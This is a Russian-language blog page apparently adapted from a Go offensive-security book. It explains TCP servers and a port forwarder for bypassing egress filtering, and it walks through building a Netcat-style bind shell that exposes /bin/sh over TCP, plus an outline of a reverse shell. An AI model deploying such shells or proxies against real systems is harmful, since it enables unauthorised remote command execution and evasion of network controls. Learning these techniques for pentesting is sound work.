PENTEST.DNA

PENTEST.DNA

Разбираем искусство тестирования на проникновение и не только. В канале вы можете найти большое количество курсов, инструментов и мануалов на тему IT https://t.me/+y9gw_Sh5NJAxOGRi
Пикабушник
поставил 1 плюс и 0 минусов
445 рейтинг 36 подписчиков 3 подписки 9 постов 2 в горячем

Создание TCP-прокси

Создание TCP-прокси Информационная безопасность, Хакеры, Программирование, Golang, Программист, Интернет, Длиннопост

Вы можете реализовать все 𝗧𝗖𝗣-взаимодействия, используя встроенный в 𝗚𝗼 пакет 𝗻𝗲𝘁. В предыдущем разделе мы сосредоточились главным образом на его применении с позиции клиента. В этом же разделе задействуем его для создания 𝗧𝗖𝗣-серверов и передачи данных. Изучение этого процесса начнется с создания эхо-сервера — сервера, который просто возвращает запрос обратно клиенту. Затем мы создадим две более универсальные в применении программы: переадресатор 𝗧𝗖𝗣-портов и 𝗡𝗲𝘁𝗰𝗮𝘁-функцию «зияющая дыра в безопасности», применяемую для удаленного выполнения команд.


Использование io.Reader и io.Writer



При создании примеров этого раздела вам потребуется задействовать два значимых типа: 𝗶𝗼.𝗥𝗲𝗮𝗱𝗲𝗿 и 𝗶𝗼.𝗪𝗿𝗶𝘁𝗲𝗿. Они необходимы для всех задач ввода/вывода (𝗜/𝗢) вне зависимости от того, задействуете вы 𝗧𝗖𝗣, 𝗛𝗧𝗧𝗣, файловую систему или любые другие средства. Будучи частью встроенного в 𝗚𝗼 пакета 𝗶𝗼, эти типы являются краеугольным камнем любой передачи данных, как локальной, так и сетевой. В документации они определены так:

Создание TCP-прокси Информационная безопасность, Хакеры, Программирование, Golang, Программист, Интернет, Длиннопост

Оба типа определяются как интерфейсы, то есть напрямую их создать нельзя. Каждый тип содержит определение одной экспортируемой функции: 𝗥𝗲𝗮𝗱 или 𝗪𝗿𝗶𝘁𝗲. Можно рассматривать эти функции как абстрактные методы, которые должны быть реализованы в типе, чтобы он считался 𝗥𝗲𝗮𝗱𝗲𝗿 или 𝗪𝗿𝗶𝘁𝗲𝗿. Например, следующий искусственный тип выполняет это соглашение и может использоваться там, где приемлем 𝗥𝗲𝗮𝗱𝗲𝗿:

Создание TCP-прокси Информационная безопасность, Хакеры, Программирование, Golang, Программист, Интернет, Длиннопост

Давайте с помощью них создадим что-нибудь полуготовое: настраиваемый 𝗥𝗲𝗮𝗱𝗲𝗿 и 𝗪𝗿𝗶𝘁𝗲𝗿, обертывающий 𝘀𝘁𝗱𝗶𝗻 и 𝘀𝘁𝗱𝗼𝘂𝘁. Код для этого тоже будет несколько искусственным, так как типы 𝗚𝗼 𝗼𝘀.𝗦𝘁𝗱𝗶𝗻 и 𝗼𝘀.𝗦𝘁𝗱𝗼𝘂𝘁 уже действуют как 𝗥𝗲𝗮𝗱𝗲𝗿 и 𝗪𝗿𝗶𝘁𝗲𝗿. Но если не пытаться изобрести колесо, то ничему и не научишься, ведь так?

Ниже показана полная реализация, а далее дано пояснение.

Создание TCP-прокси Информационная безопасность, Хакеры, Программирование, Golang, Программист, Интернет, Длиннопост

Реализация reader и writer /io-example/main.go

Этот код определяет два пользовательских типа: 𝗙𝗼𝗼𝗥𝗲𝗮𝗱𝗲𝗿 и 𝗙𝗼𝗼𝗪𝗿𝗶𝘁𝗲𝗿. В каждом типе вы определяете конкретную реализацию функции 𝗥𝗲𝗮𝗱([]𝗯𝘆𝘁𝗲) для 𝗙𝗼𝗼𝗥𝗲𝗮𝗱𝗲𝗿 и функции 𝗪𝗿𝗶𝘁𝗲([]𝗯𝘆𝘁𝗲) для 𝗙𝗼𝗼𝗪𝗿𝗶𝘁𝗲𝗿. В этом случае обе функции считывают из 𝘀𝘁𝗱𝗶𝗻 и записывают в 𝘀𝘁𝗱𝗼𝘂𝘁.

Обратите внимание на то, что функции 𝗥𝗲𝗮𝗱 и в 𝗙𝗼𝗼𝗥𝗲𝗮𝗱𝗲𝗿, и в 𝗼𝘀.𝗦𝘁𝗱𝗶𝗻 возвращают длину данных и все ошибки. Сами эти данные копируются в срез 𝗯𝘆𝘁𝗲, передаваемый этой функции. Это согласуется с начальным определением интерфейса 𝗥𝗲𝗮𝗱𝗲𝗿, приведенным в данном разделе ранее. Функция 𝗺𝗮𝗶𝗻() создает этот срез с названием 𝗶𝗻𝗽𝘂𝘁 и затем использует его в вызовах к 𝗙𝗼𝗼𝗥𝗲𝗮𝗱𝗲𝗿.𝗥𝗲𝗮𝗱([]𝗯𝘆𝘁𝗲) и 𝗙𝗼𝗼𝗥𝗲𝗮𝗱𝗲𝗿.𝗪𝗿𝗶𝘁𝗲([]𝗯𝘆𝘁𝗲).

При пробном запуске программы мы получим следующий вывод:

Создание TCP-прокси Информационная безопасность, Хакеры, Программирование, Golang, Программист, Интернет, Длиннопост

Копирование данных из 𝗥𝗲𝗮𝗱𝗲𝗿 в 𝗪𝗿𝗶𝘁𝗲𝗿 — это настолько распространенный шаблон, что пакет 𝗶𝗼 содержит специальную функцию 𝗖𝗼𝗽𝘆(), которую можно задействовать для упрощения функции 𝗺𝗮𝗶𝗻(). Вот ее прототип:

Создание TCP-прокси Информационная безопасность, Хакеры, Программирование, Golang, Программист, Интернет, Длиннопост

Эта удобная функция позволяет реализовывать то же поведение программы, что и ранее, заменив 𝗺𝗮𝗶𝗻() кодом, показанным ниже.

Создание TCP-прокси Информационная безопасность, Хакеры, Программирование, Golang, Программист, Интернет, Длиннопост

Применение io.Copy /ch-2/copy-example/main.go

Обратите внимание, что явные вызовы 𝗿𝗲𝗮𝗱𝗲𝗿.𝗥𝗲𝗮𝗱([ ]𝗯𝘆𝘁𝗲) и 𝘄𝗿𝗶𝘁𝗲𝗿.𝗪𝗿𝗶𝘁𝗲([ ] 𝗯𝘆𝘁𝗲) были замещены одним вызовом 𝗶𝗼.𝗖𝗼𝗽𝘆(𝘄𝗿𝗶𝘁𝗲𝗿, 𝗿𝗲𝗮𝗱𝗲𝗿). Внутренне 𝗶𝗼.𝗖𝗼𝗽𝘆(𝘄𝗿𝗶𝘁𝗲𝗿, 𝗿𝗲𝗮𝗱𝗲𝗿) вызывает в переданном ридере функцию 𝗥𝗲𝗮𝗱([ ]𝗯𝘆𝘁𝗲), в результате чего 𝗙𝗼𝗼𝗥𝗲𝗮𝗱𝗲𝗿 выполняет считывание из 𝘀𝘁𝗱𝗶𝗻. Далее 𝗶𝗼.𝗖𝗼𝗽𝘆(𝘄𝗿𝗶𝘁𝗲𝗿, 𝗿𝗲𝗮𝗱𝗲𝗿) вызывает в переданном райтере функцию 𝗪𝗿𝗶𝘁𝗲([ ]𝗯𝘆𝘁𝗲), что приводит к вызову 𝗙𝗼𝗼𝗪𝗿𝗶𝘁𝗲𝗿, записывающего данные в 𝘀𝘁𝗱𝗼𝘂𝘁. По сути, 𝗶𝗼.𝗖𝗼𝗽𝘆(𝘄𝗿𝗶𝘁𝗲𝗿, 𝗿𝗲𝗮𝗱𝗲𝗿) обрабатывает последовательный процесс чтения/записи без лишних деталей.

Этот вводный раздел никак нельзя считать подробным рассмотрением системы 𝗜/𝗢 и интерфейсов в 𝗚𝗼. Многие вспомогательные функции и пользовательские ридеры/райтеры существуют как часть стандартных пакетов 𝗚𝗼. В большинстве случаев эти стандартные пакеты содержат все основные реализации, необходимые для реализации большинства распространенных задач. В следующем разделе мы рассмотрим применение всех этих основ к 𝗧𝗖𝗣-коммуникациям и в итоге применим полученные навыки для разработки реальных рабочих инструментов.



Создание эхо-сервера:

Как и во многих языках, изучение процесса чтения/записи данных с сокета мы начнем с построения эхо-сервера. Для этого будем использовать 𝗻𝗲𝘁.𝗖𝗼𝗻𝗻 — потокоориентированное соединение 𝗚𝗼, с которым вы уже познакомились при создании сканера портов. Как указано в документации для этого типа данных, 𝗖𝗼𝗻𝗻 реализует функции 𝗥𝗲𝗮𝗱([ ]𝗯𝘆𝘁𝗲) и 𝗪𝗿𝗶𝘁𝗲([ ]𝗯𝘆𝘁𝗲) согласно определению для интерфейсов 𝗥𝗲𝗮𝗱𝗲𝗿 и 𝗪𝗿𝗶𝘁𝗲𝗿. Следовательно, 𝗖𝗼𝗻𝗻 одновременно является и 𝗥𝗲𝗮𝗱𝗲𝗿, и 𝗪𝗿𝗶𝘁𝗲𝗿 (да, такое возможно). Это вполне логично, так как 𝗧𝗖𝗣-соединения двунаправленные и могут использоваться для отправки (записи) и получения (чтения) данных.

После создания экземпляра conn вы сможете отправлять и получать данные через TCP-сокет. Тем не менее TCP-сервер не может просто создать соединение, его должен установить клиент. В 𝗚𝗼 для начального открытия 𝗧𝗖𝗣-слушателя на конкретном порте можно использовать 𝗻𝗲𝘁.𝗟𝗶𝘀𝘁𝗲𝗻(𝗻𝗲𝘁𝘄𝗼𝗿𝗸, 𝗮𝗱𝗱𝗿𝗲𝘀𝘀 𝘀𝘁𝗿𝗶𝗻𝗴). После подключения клиента метод 𝗔𝗰𝗰𝗲𝗽𝘁() создает и возвращает объект 𝗖𝗼𝗻𝗻, который вы можете применять для получения и отправки данных.

Ниже показан полноценный пример реализации сервера. Для большей ясности мы добавили в код комментарии. Не стремитесь сразу понять весь код, так как позже мы подробно его поясним.

Создание TCP-прокси Информационная безопасность, Хакеры, Программирование, Golang, Программист, Интернет, Длиннопост

Базовый эхо-сервер /ch-2/echo-server/main.go

Базовый эхо-сервер начинается с определения функции 𝗲𝗰𝗵𝗼(𝗻𝗲𝘁.𝗖𝗼𝗻𝗻), которая принимает в качестве параметра экземпляр 𝗖𝗼𝗻𝗻. Он выступает в роли обработчика соединения, выполняя все необходимые операции 𝗜/𝗢. Эта функция повторяется бесконечно, используя буфер для считывания данных из соединения и их записи в него. Данные считываются в переменную 𝗯, после чего записываются обратно в соединение.

Теперь нужно настроить слушатель, который будет вызывать обработчик. Как ранее говорилось, сервер не может сам создать соединение и должен прослушивать подключение клиента. Следовательно, слушатель, определенный как 𝘁𝗰𝗽, привязанный к порту 𝟮𝟬𝟬𝟴𝟬, запускается во всех интерфейсах посредством функции 𝗻𝗲𝘁.𝗟𝗶𝘀𝘁𝗲𝗻(𝗻𝗲𝘁𝘄𝗼𝗿𝗸, 𝗮𝗱𝗱𝗿𝗲𝘀𝘀 𝘀𝘁𝗿𝗶𝗻𝗴).

Далее бесконечный цикл обеспечивает, чтобы сервер продолжал прослушивание соединений даже после того, как оно было установлено. В этом цикле происходит вызов 𝗹𝗶𝘀𝘁𝗲𝗻𝗲𝗿.𝗔𝗰𝗰𝗲𝗽𝘁() ❻ — функции, блокирующей выполнение при ожидании подключений. Когда клиент подключается, эта функция возвращает экземпляр 𝗖𝗼𝗻𝗻. Напомним, что 𝗖𝗼𝗻𝗻 является и 𝗥𝗲𝗮𝗱𝗲𝗿, и 𝗪𝗿𝗶𝘁𝗲𝗿 (реализует методы интерфейса 𝗥𝗲𝗮𝗱([ ]𝗯𝘆𝘁𝗲) и 𝗪𝗿𝗶𝘁𝗲([ ]𝗯𝘆𝘁𝗲)).

После этого экземпляр 𝗖𝗼𝗻𝗻 передается в функцию обработки 𝗲𝗰𝗵𝗼(𝗻𝗲𝘁.𝗖𝗼𝗻𝗻). Перед ее вызовом указано ключевое слово 𝗴𝗼, делающее этот вызов многопоточным, в результате чего другие подключения в ожидании завершения функции-обработчика не блокируются. Это может показаться излишним для столь простого сервера, но мы добавили эту функциональность для демонстрации простоты паттерна многопоточности 𝗚𝗼 на случай, если вы еще не до конца его поняли. В данный момент у вас есть два легковесных параллельно выполняющихся потока.

  • Основной поток зацикливается и блокируется функцией listener.Accept() на время ожидания ею следующего подключения.

  • Горутина обработки, чье выполнение было передано в функцию echo(net.Conn), возобновляется и обрабатывает данные.


Далее показан пример использования 𝗧𝗲𝗹𝗻𝗲𝘁 в качестве подключающегося клиента:

Создание TCP-прокси Информационная безопасность, Хакеры, Программирование, Golang, Программист, Интернет, Длиннопост

Сервер производит следующий стандартный вывод:

Создание TCP-прокси Информационная безопасность, Хакеры, Программирование, Golang, Программист, Интернет, Длиннопост


Революционно, не правда ли? Сервер, возвращающий клиенту в точности то, что клиент ему отправил. Очень полезный и сильный пример!



Создание буферизованного слушателя для улучшения кода:



Пример в коде Базового эхо-сервера работает прекрасно, но он опирается на чисто низкоуровневые вызовы функции, отслеживание буфера и повторяющиеся циклы чтения/записи. Это довольно утомительный и подверженный ошибкам процесс. К счастью, в 𝗚𝗼 есть и другие пакеты, которые могут его упростить и уменьшить сложность кода. Говоря конкретнее, пакет 𝗯𝘂𝗳𝗶𝗼 обертывает 𝗥𝗲𝗮𝗱𝗲𝗿 и 𝗪𝗿𝗶𝘁𝗲𝗿 для создания буферизованного механизма 𝗜/𝗢. Далее приведена обновленная функция 𝗲𝗰𝗵𝗼(𝗻𝗲𝘁.𝗖𝗼𝗻𝗻) с сопутствующим описанием изменений:

Создание TCP-прокси Информационная безопасность, Хакеры, Программирование, Golang, Программист, Интернет, Длиннопост

В экземпляре 𝗖𝗼𝗻𝗻 больше не происходит прямого вызова функций 𝗥𝗲𝗮𝗱([]𝗯𝘆𝘁𝗲) и 𝗪𝗿𝗶𝘁𝗲([]𝗯𝘆𝘁𝗲). Вместо этого вы инициализируете новые буферизованные 𝗥𝗲𝗮𝗱𝗲𝗿 и 𝗪𝗿𝗶𝘁𝗲𝗿 через 𝗡𝗲𝘄𝗥𝗲𝗮𝗱𝗲𝗿(𝗶𝗼.𝗥𝗲𝗮𝗱𝗲𝗿) и 𝗡𝗲𝘄𝗪𝗿𝗶𝘁𝗲𝗿(𝗶𝗼.𝗪𝗿𝗶𝘁𝗲𝗿). Оба вызова в качестве параметра получают существующие 𝗥𝗲𝗮𝗱𝗲𝗿 и 𝗪𝗿𝗶𝘁𝗲𝗿 (помните, что тип 𝗖𝗼𝗻𝗻 реализует необходимые функции, чтобы считаться 𝗥𝗲𝗮𝗱𝗲𝗿 и 𝗪𝗿𝗶𝘁𝗲𝗿).

Оба буферизованных экземпляра содержат вспомогательные функции для чтения и сохранения данных. 𝗥𝗲𝗮𝗱𝗦𝘁𝗿𝗶𝗻𝗴(𝗯𝘆𝘁𝗲) получает символ-разграничитель, обозначая, до какой точки выполнять считывание, а 𝗪𝗿𝗶𝘁𝗲𝗦𝘁𝗿𝗶𝗻𝗴(𝗯𝘆𝘁𝗲) записывает строку в сокет. При записи данных вам нужно явно вызывать 𝘄𝗿𝗶𝘁𝗲𝗿.𝗙𝗹𝘂𝘀𝗵() для сброса всех данных внутреннему райтеру (в данном случае экземпляру 𝗖𝗼𝗻𝗻).

Несмотря на то что предыдущий пример упрощает процесс, применяя буферизацию 𝗜/𝗢, вы можете переработать его под использование вспомогательной функции 𝗖𝗼𝗽𝘆(𝗪𝗿𝗶𝘁𝗲𝗿, 𝗥𝗲𝗮𝗱𝗲𝗿). Напомним, что функция получает в качестве ввода целевой 𝗪𝗿𝗶𝘁𝗲𝗿 и исходный 𝗥𝗲𝗮𝗱𝗲𝗿, просто выполняя копирование из источника в место назначения.

В этом примере вы передаете переменную 𝗰𝗼𝗻𝗻 и как источник, и как место назначения, так как в итоге будете отражать содержимое обратно в установленное соединение:

Создание TCP-прокси Информационная безопасность, Хакеры, Программирование, Golang, Программист, Интернет, Длиннопост

Вот вы и познакомились с основами системы 𝗜/𝗢, попутно применив ее к 𝗧𝗖𝗣-серверам. Пришло время перейти к более полезным и представляющим для вас интерес примерам.



Проксирование TCP-клиента:



Теперь, когда у вас под ногами есть твердая почва, можете применить полученные навыки для создания простого переадресатора портов для проксирования соединения через промежуточный сервис или хост. Как уже говорилось, это пригождается для обхода ограничивающего контроля исходящего трафика или использования системы с целью обхода сегментации сети. Прежде чем перейти к коду, рассмотрите вымышленную, но вполне реалистичную задачу: Андрей является малоэффективным сотрудником компании 𝗔𝗖𝗠𝗘 𝗜𝗻𝗰., работая на должности бизнес-аналитика и получая приличную зарплату просто потому, что слегка приукрасил данные своего резюме. (Неужели он реально учился в школе Лиги плюща? Андрей, такой обман неэтичен.) Недостаток мотивации Андрея может по силе сравниться разве что с его любовью к кошкам — такой сильной, что он даже установил дома специальные видеокамеры и создал сайт 𝗷𝗼𝗲𝘀𝗰𝗮𝘁𝗰𝗮𝗺.𝘄𝗲𝗯𝘀𝗶𝘁𝗲, через который удаленно следил за своими мохнатыми питомцами. Тем не менее здесь была одна сложность: 𝗔𝗖𝗠𝗘 следит за Андреем. Им не нравится, что он круглые сутки передает потоковое видео своих кошек в ультравысоком разрешении 𝟰𝗞, занимая ценный пропускной канал сети. Компания даже заблокировала своим сотрудникам возможность посещать его кошачий сайт.

Но у хитрого Андрея и здесь возник план: «А что, если я настрою переадресатор портов в подконтрольной мне интернет-системе и буду перенаправлять весь трафик с этого хоста на 𝗷𝗼𝗲𝘀𝗰𝗮𝘁𝗰𝗮𝗺.𝘄𝗲𝗯𝘀𝗶𝘁𝗲?» На следующий день Андрей отмечается на работе и убеждается в возможности доступа к личному сайту, размещенному на домене 𝗷𝗼𝗲𝘀𝗽𝗿𝗼𝘅𝘆.𝗰𝗼𝗺. Он пропускает все встречи после обеда и отправляется в кафетерий, где быстро пишет код для своей задачи, подразумевающей перенаправление на 𝗵𝘁𝘁𝗽://𝗷𝗼𝗲𝘀𝗰𝗮𝘁𝗰𝗮𝗺.𝘄𝗲𝗯𝘀𝗶𝘁𝗲 всего входящего на 𝗵𝘁𝘁𝗽://𝗷𝗼𝗲𝘀𝗽𝗿𝗼𝘅𝘆.𝗰𝗼𝗺 трафика.

Вот код Андрея, который он запускает на сервере 𝗷𝗼𝗲𝘀𝗽𝗿𝗼𝘅𝘆.𝗰𝗼𝗺:

Создание TCP-прокси Информационная безопасность, Хакеры, Программирование, Golang, Программист, Интернет, Длиннопост

Начнем с рассмотрения функции 𝗵𝗮𝗻𝗱𝗹𝗲(𝗻𝗲𝘁.𝗖𝗼𝗻𝗻). Андрей подключается к 𝗷𝗼𝗲𝘀𝗰𝗮𝘁𝗰𝗮𝗺.𝘄𝗲𝗯𝘀𝗶𝘁𝗲 (вспомните, что этот хост недоступен напрямую с его рабочего места). Затем он использует 𝗖𝗼𝗽𝘆(𝗪𝗿𝗶𝘁𝗲𝗿, 𝗥𝗲𝗮𝗱𝗲𝗿) в двух разных местах. Первый экземпляр обеспечивает копирование данных из входящего соединения в соединение 𝗷𝗼𝗲𝘀𝗰𝗮𝘁𝗰𝗮𝗺.𝘄𝗲𝗯𝘀𝗶𝘁𝗲. Второй же обеспечивает, чтобы считанные из 𝗷𝗼𝗲𝘀𝗰𝗮𝘁𝗰𝗮𝗺.𝘄𝗲𝗯𝘀𝗶𝘁𝗲 данные записывались обратно в соединение подключающегося клиента. Так как 𝗖𝗼𝗽𝘆(𝗪𝗿𝗶𝘁𝗲𝗿, 𝗥𝗲𝗮𝗱𝗲𝗿) является блокирующей функцией и будет продолжать блокировать выполнение, пока сетевое соединение открыто, Андрей предусмотрительно обертывает первый вызов 𝗖𝗼𝗽𝘆(𝗪𝗿𝗶𝘁𝗲𝗿, 𝗥𝗲𝗮𝗱𝗲𝗿) в новую горутину. Это гарантирует продолжение выполнения в функции 𝗵𝗮𝗻𝗱𝗹𝗲(𝗻𝗲𝘁.𝗖𝗼𝗻𝗻) и дает возможность выполнить второй вызов 𝗖𝗼𝗽𝘆(𝗪𝗿𝗶𝘁𝗲𝗿, 𝗥𝗲𝗮𝗱𝗲𝗿).

Прокси-сервер Андрей прослушивает порт 𝟴𝟬 и ретранслирует весь трафик, получаемый через это соединение, на порт 𝟴𝟬 сайта 𝗷𝗼𝗲𝘀𝗰𝗮𝘁𝗰𝗮𝗺.𝘄𝗲𝗯𝘀𝗶𝘁𝗲 и обратно. Этот безумный и расточительный парень убеждается, что может подключаться к 𝗷𝗼𝗲𝘀𝗰𝗮𝘁𝗰𝗮𝗺.𝘄𝗲𝗯𝘀𝗶𝘁𝗲 через 𝗷𝗼𝗲𝘀𝗽𝗿𝗼𝘅𝘆.𝗰𝗼𝗺 с помощью 𝗰𝘂𝗿𝗹:

Создание TCP-прокси Информационная безопасность, Хакеры, Программирование, Golang, Программист, Интернет, Длиннопост

Так Андрей успешно реализует коварный замысел. Он прекрасно устроился, получив возможность в оплачиваемое 𝗔𝗖𝗠𝗘 время использовать их же канал связи для наблюдения за жизнью своих питомцев.



Воспроизведение функции Netcat для выполнения команд:



В этом разделе мы воспроизведем одну из наиболее интересных функций 𝗡𝗲𝘁𝗰𝗮𝘁 — «зияющую дыру в безопасности».

𝗡𝗲𝘁𝗰𝗮𝘁 — это как швейцарский армейский нож для 𝗧𝗖𝗣/𝗜𝗣, который представляет собой более гибкую версию 𝗧𝗲𝗹𝗻𝗲𝘁 с поддержкой сценариев. Эта утилита имеет возможность перенаправлять 𝘀𝘁𝗱𝗶𝗻 и 𝘀𝘁𝗱𝗼𝘂𝘁 любой произвольной программы через 𝗧𝗖𝗣, позволяя атакующему, например, превратить уязвимость к выполнению одной команды в доступ к оболочке операционной системы. Взгляните:

Создание TCP-прокси Информационная безопасность, Хакеры, Программирование, Golang, Программист, Интернет, Длиннопост

Эта команда создает прослушивающий сервер на порте 𝟭𝟯𝟯𝟯𝟳. Любой подключающийся, возможно, через 𝗧𝗲𝗹𝗻𝗲𝘁, клиент сможет выполнить любые команды 𝗯𝗮𝘀𝗵 — вот почему данную функцию и называют зияющей дырой в безопасности. 𝗡𝗲𝘁𝗰𝗮𝘁 позволяет при желании включить такую возможность в процессе компиляции программы. (По понятным причинам большинство исполняемых файлов 𝗡𝗲𝘁𝗰𝗮𝘁 в стандартных сборках 𝗟𝗶𝗻𝘂𝘅 ее не включают.) Эта функция настолько потенциально опасна, что мы покажем, как воссоздать ее в 𝗚𝗼.

Для начала загляните в пакет 𝗚𝗼 𝗼𝘀/𝗲𝘅𝗲𝗰. Он будет использоваться для выполнения команд операционной системы. Этот пакет определяет тип 𝗖𝗺𝗱, который содержит необходимые методы и свойства для выполнения команд и управления 𝘀𝘁𝗱𝗶𝗻 и 𝘀𝘁𝗱𝗼𝘂𝘁. Вы будете перенаправлять 𝘀𝘁𝗱𝗶𝗻 (𝗥𝗲𝗮𝗱𝗲𝗿) и 𝘀𝘁𝗱𝗼𝘂𝘁 (𝗪𝗿𝗶𝘁𝗲𝗿) в экземпляр 𝗖𝗼𝗻𝗻, представляющий и 𝗥𝗲𝗮𝗱𝗲𝗿, и 𝗪𝗿𝗶𝘁𝗲𝗿.

При получении нового подключения создать экземпляр 𝗖𝗺𝗱 можно с помощью функции 𝗖𝗼𝗺𝗺𝗮𝗻𝗱(𝗻𝗮𝗺𝗲 𝘀𝘁𝗿𝗶𝗻𝗴, 𝗮𝗿𝗴 ...𝘀𝘁𝗿𝗶𝗻𝗴) из 𝗼𝘀/𝗲𝘅𝗲𝗰. Эта функция получает в качестве параметров команды ОС и любые аргументы. В данном примере нужно жестко закодировать в качестве команды /𝗯𝗶𝗻/𝘀𝗵 и передать в качестве аргумента -𝗶, чтобы перейти в интерактивный режим, из которого можно будет управлять потоками 𝘀𝘁𝗱𝗶𝗻 и 𝘀𝘁𝗱𝗼𝘂𝘁 более уверенно:

Создание TCP-прокси Информационная безопасность, Хакеры, Программирование, Golang, Программист, Интернет, Длиннопост

Эта инструкция создает экземпляр 𝗖𝗺𝗱, но команду еще не выполняет. Здесь для управления 𝘀𝘁𝗱𝗶𝗻 и 𝘀𝘁𝗱𝗼𝘂𝘁 есть два варианта: использовать 𝗖𝗼𝗽𝘆(𝗪𝗿𝗶𝘁𝗲𝗿, 𝗥𝗲𝗮𝗱𝗲𝗿), как говорилось ранее, или напрямую присвоить 𝗥𝗲𝗮𝗱𝗲𝗿 и 𝗪𝗿𝗶𝘁𝗲𝗿 экземпляру 𝗖𝗺𝗱. Давайте непосредственно присвоим объект 𝗖𝗼𝗻𝗻 экземплярам 𝗰𝗺𝗱.𝗦𝘁𝗱𝗶𝗻 и 𝗰𝗺𝗱.𝗦𝘁𝗱𝗼𝘂𝘁:

Создание TCP-прокси Информационная безопасность, Хакеры, Программирование, Golang, Программист, Интернет, Длиннопост

После настройки команды и потоков запустить ее можно с помощью 𝗰𝗺𝗱.𝗥𝘂𝗻():

Создание TCP-прокси Информационная безопасность, Хакеры, Программирование, Golang, Программист, Интернет, Длиннопост

Такая логика прекрасно работает для систем 𝗟𝗶𝗻𝘂𝘅. Тем не менее при настройке и запуске этой программы под 𝗪𝗶𝗻𝗱𝗼𝘄𝘀 с помощью 𝗰𝗺𝗱.𝗲𝘅𝗲, а не /𝗯𝗶𝗻/𝗯𝗮𝘀𝗵, подключающийся клиент не получает вывод команды из-за специфичной для 𝗪𝗶𝗻𝗱𝗼𝘄𝘀 обработки анонимных каналов. Далее описаны два решения этой проблемы.

Во-первых, можно настроить код для принудительного сброса 𝘀𝘁𝗱𝗼𝘂𝘁. Вместо непосредственного присваивания 𝗖𝗼𝗻𝗻 экземпляру 𝗰𝗺𝗱.𝗦𝘁𝗱𝗼𝘂𝘁 нужно реализовать собственный 𝗪𝗿𝗶𝘁𝗲𝗿, который обертывает 𝗯𝘂𝗳𝗶𝗼.𝗪𝗿𝗶𝘁𝗲𝗿 (буферизованный райтер) и явно вызывает его метод 𝗙𝗹𝘂𝘀𝗵 для принудительного сброса буфера. Пример использования 𝗯𝘂𝗳𝗶𝗼.𝗪𝗿𝗶𝘁𝗲𝗿 можно найти в разделе «Создание эхо-сервера» ранее в этой главе. Вот определение пользовательского райтера, 𝗙𝗹𝘂𝘀𝗵𝗲𝗿:

Создание TCP-прокси Информационная безопасность, Хакеры, Программирование, Golang, Программист, Интернет, Длиннопост

Тип 𝗙𝗹𝘂𝘀𝗵𝗲𝗿 реализует функцию 𝗪𝗿𝗶𝘁𝗲([]𝗯𝘆𝘁𝗲), которая записывает данные во внутренний буферизованный райтер, а затем сбрасывает вывод.

С помощью этой реализации пользовательского райтера можно настроить обработчик подключений на создание экземпляра и применение типа 𝗙𝗹𝘂𝘀𝗵𝗲𝗿 для 𝗰𝗺𝗱.𝗦𝘁𝗱𝗼𝘂𝘁:

Создание TCP-прокси Информационная безопасность, Хакеры, Программирование, Golang, Программист, Интернет, Длиннопост

Продолжение кода выше

Это решение хотя и вполне пригодно, но не очень элегантно. Несмотря на то что рабочий код для нас важнее, чем аккуратный, мы используем эту проблему как возможность рассказать о функции 𝗶𝗼.𝗣𝗶𝗽𝗲(). Она представляет собой синхронный канал в памяти 𝗚𝗼, который можно задействовать для подключения 𝗥𝗲𝗮𝗱𝗲𝗿 и 𝗪𝗿𝗶𝘁𝗲𝗿:

Создание TCP-прокси Информационная безопасность, Хакеры, Программирование, Golang, Программист, Интернет, Длиннопост

Применение 𝗣𝗶𝗽𝗲𝗥𝗲𝗮𝗱𝗲𝗿 и 𝗣𝗶𝗽𝗲𝗪𝗿𝗶𝘁𝗲𝗿 позволяет избежать необходимости явного сброса райтера и синхронного подключения 𝘀𝘁𝗱𝗼𝘂𝘁 и 𝗧𝗖𝗣-соединения. Опять же понадобится переписать функцию обработчика:

Создание TCP-прокси Информационная безопасность, Хакеры, Программирование, Golang, Программист, Интернет, Длиннопост

Вызов 𝗶𝗼.𝗣𝗶𝗽𝗲 создает ридер и райтер, подключаемые синхронно, — любые данные, записываемые в райтер (в данном примере 𝘄𝗽), будут считаны ридером (𝗿𝗽). Поэтому сначала происходит присваивание райтера экземпляру 𝗰𝗺𝗱.𝗦𝘁𝗱𝗼𝘂𝘁, после чего используется 𝗶𝗼.𝗖𝗼𝗽𝘆(𝗰𝗼𝗻𝗻, 𝗿𝗽) для присоединения 𝗣𝗶𝗽𝗲𝗥𝗲𝗮𝗱𝗲𝗿 к 𝗧𝗖𝗣-соединению. Это делается с помощью горутины, предотвращающей блокирование кода. Любой стандартный вывод команды отправляется райтеру, после чего передается ридеру и далее через 𝗧𝗖𝗣-соединение. Как вам такая элегантность?

Таким образом, мы успешно реализовали «зияющую дыру безопасности» 𝗡𝗲𝘁𝗰𝗮𝘁 с позиции 𝗧𝗖𝗣-слушателя, ожидающего подключения. По тому же принципу можно реализовать эту функцию с позиции подключающегося клиента, перенаправляющего 𝘀𝘁𝗱𝗼𝘂𝘁 и 𝘀𝘁𝗱𝗶𝗻 локального исполняемого файла удаленному слушателю. Детали этого процесса мы оставим вам для самостоятельной реализации, но в общем они будут включать следующее:

  • установку подключения к удаленному слушателю через net.Dial(network, address string);

  • инициализацию Cmd через exec.Command(name string, arg ...string);

  • перенаправление свойств Stdin и Stdout для использования объекта net.Conn;

  • выполнение команды.

На этом этапе слушатель должен получить подключение. Любые передаваемые клиенту данные должны интерпретироваться на клиенте как 𝘀𝘁𝗱𝗶𝗻, а данные, получаемые слушателем, — как 𝘀𝘁𝗱𝗼𝘂𝘁.

На этом всё, ждите в ближайшее время больше статей.

ССЫЛКА НА ТЕЛЕГРАМ КАНАЛ АВТОРА

Показать полностью 21

TCP, сканеры и прокси

TCP, сканеры и прокси Программирование, Информационная безопасность, Хакеры, Golang, IT, Программист, Длиннопост

В роли атакующего вы должны понимать принцип работы 𝗧𝗖𝗣, чтобы справляться с разработкой пригодных вариантов его конструкций, позволяющих определять открытые/закрытые порты, распознавать такие потенциально ошибочные результаты, как ложные срабатывания — например, 𝗦𝗬𝗡-флуд защиты, — и обходить ограничения на исходящий трафик посредством переадресации портов. В этой главе вы изучите основы 𝗧𝗖𝗣-коммуникаций в 𝗚𝗼, реализуете многопоточный правильно отрегулированный сканер портов, создадите 𝗧𝗖𝗣-прокси, который можно использовать для переадресации портов, а также воссоздадите 𝗡𝗲𝘁𝗰𝗮𝘁-функцию «зияющая дыра в безопасности».

В интернете куча информации которые раскрывают каждый нюанс 𝗧𝗖𝗣, включая такие темы, как потоки и структура пакетов, надежность, повторная сборка сегментов и многие другие. Настолько подробная детализация выходит за рамки этой темы, поэтому я рекомендую глубже изучить эту тему, после прочтения статьи.

TCP Handshaking:



